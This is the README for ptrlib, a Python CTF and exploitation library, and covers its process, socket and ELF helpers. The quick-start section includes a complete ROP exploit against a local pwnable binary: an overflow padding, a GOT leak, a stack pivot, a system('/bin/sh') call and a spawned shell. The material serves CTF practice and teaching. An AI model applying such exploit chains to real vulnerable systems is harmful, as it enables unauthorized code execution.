ptrlib 2.4.0

CTF library

ptrlib

Python library which bundles security-related utilities.

Description

Ptrlib is a Python library for CTF players. It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.

Why not pwntools?

Ptrlib is designed to be as library-independent as possible. Also, ptrlib has some pros such as supporting Windows process.

Requirements

Supports: Python 3.8 or later

Library Dependency:

• pycryptodome
• pywin32 (when handling Windows process)

External Program:

• When using SSH function:
  • ssh
  • expect
• When using nasm function:
  • nasm

Usage

Basic examples are available at /examples.

Testcases under /tests may also help you understand ptrlib.

Quick Document

There are many functions in ptrlib. In this section we try using it for a pwnable task.

You can run executable or create socket like this:

sock = Process("./pwn01", cwd="/home/ctf")
sock = Process(["./pwn01", "--debug"], env={"FLAG": "flag{dummy}"})
sock = Process("make menuconfig", shell=True)
sock = Socket("localhost", 1234)
sock = Socket("example.com", 443, ssl=True, sni="neko")
sock = SSH("example.com", 22, username="ubuntu", password="p4s$w0rd")
sock = SSH("example.com", 22, username="ubuntu", identity="./id_rsa")

If you have the target binary or libc, it's recommended to load them first.

elf = ELF("./pwn01")
libc = ELF("./libc.so.6")

This doesn't fully analyse the binary so that it runs fast. Also, ELF class supports cache to reduce calculation.

Since version 2.4.0, ptrlib supports loading debug symbol.

libc = ELF("./libc.so.6")
print(libc.symbol("_IO_stdfile_1_lock"))

You can use some useful methods such as got, plt, symbol, section and so on. The following is an example to craft ROP stager.

"""
Connect to host
"""
# Host name supports CTF-style
sock = Socket("nc localhost 1234")
# You can show hexdump for received/sent data for debug
#sock.debug = True

"""
Write ROP chain
"""
addr_stage2 = elf.section(".bss") + 0x400

payload = b'A' * 0x108
payload += flat([
  # puts(puts@got)
  next(elf.gadget("pop rdi; ret;")),
  elf.got("puts"),
  elf.plt("puts"),
  # gets(stage2)
  next(elf.gadget("pop rdi; ret;")),
  addr_stage2,
  elf.plt("gets"),
  # stack pivot
  next(elf.gadget("pop rbp; ret;")),
  addr_stage2,
  next(elf.gadget("leave\n ret")) # GCC-style
], map=p64)
sock.sendlineafter("Data: ", payload)

"""
Leak libc address
"""
# You don't need to fill 8 bytes for u64
leak = u64(sock.recvline())
# This will show warning if base address looks incorrect
libc.base = leak - libc.symbol("puts")

payload  = b'A' * 8
paylaod += p64(next(elf.gadget("ret")))
# Automatically rebase after <ELF>.base is set
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbol("system"))

# Shows warning if payload contains a character `gets` cannot accept
is_gets_safe(payload) # is_[cin/fgets/gets/getline/scanf/stream]_safe

sock.sendline(payload)

sock.sh() # or sock.interactive()

Interaction with curses is supported since 2.1.0.

sock.recvscreen()
if sock.recvscreen(returns=list)[1][1] == '#':
  sock.sendctrl("up")
else:
  sock.sendctrl("esc")

Install

Run pip install --upgrade ptrlib or python setup.py install.

Licence

MIT

Author

ptr-yudai

Contributor

Feel free to make a pull request / issue :)

• jptomoya
  • Added CI for Windows
  • Added SSL support
  • Refactored test cases
• theoremoon
  • Added/fixed several cryptography functions
  • Added buffering of Socket/Process
  • Added status check (CI test)
• keymoon
  • Added algorithm package
  • Added debug-symbol parser